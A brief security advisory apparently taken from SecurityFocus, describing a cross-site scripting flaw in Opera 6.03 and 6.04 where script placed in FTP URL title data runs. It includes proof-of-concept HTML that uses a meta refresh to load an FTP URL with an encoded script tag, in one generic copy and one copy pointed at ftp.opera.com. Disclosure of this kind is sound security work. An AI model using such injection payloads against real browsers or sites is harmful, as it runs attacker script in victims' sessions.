source: https://www.securityfocus.com/bid/5401/info
A cross-site scripting vulnerability in Opera has been reported. When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL.
This vulnerability has been confirmed on Opera 6.03 and 6.04 for Windows 2000.
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>
Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>
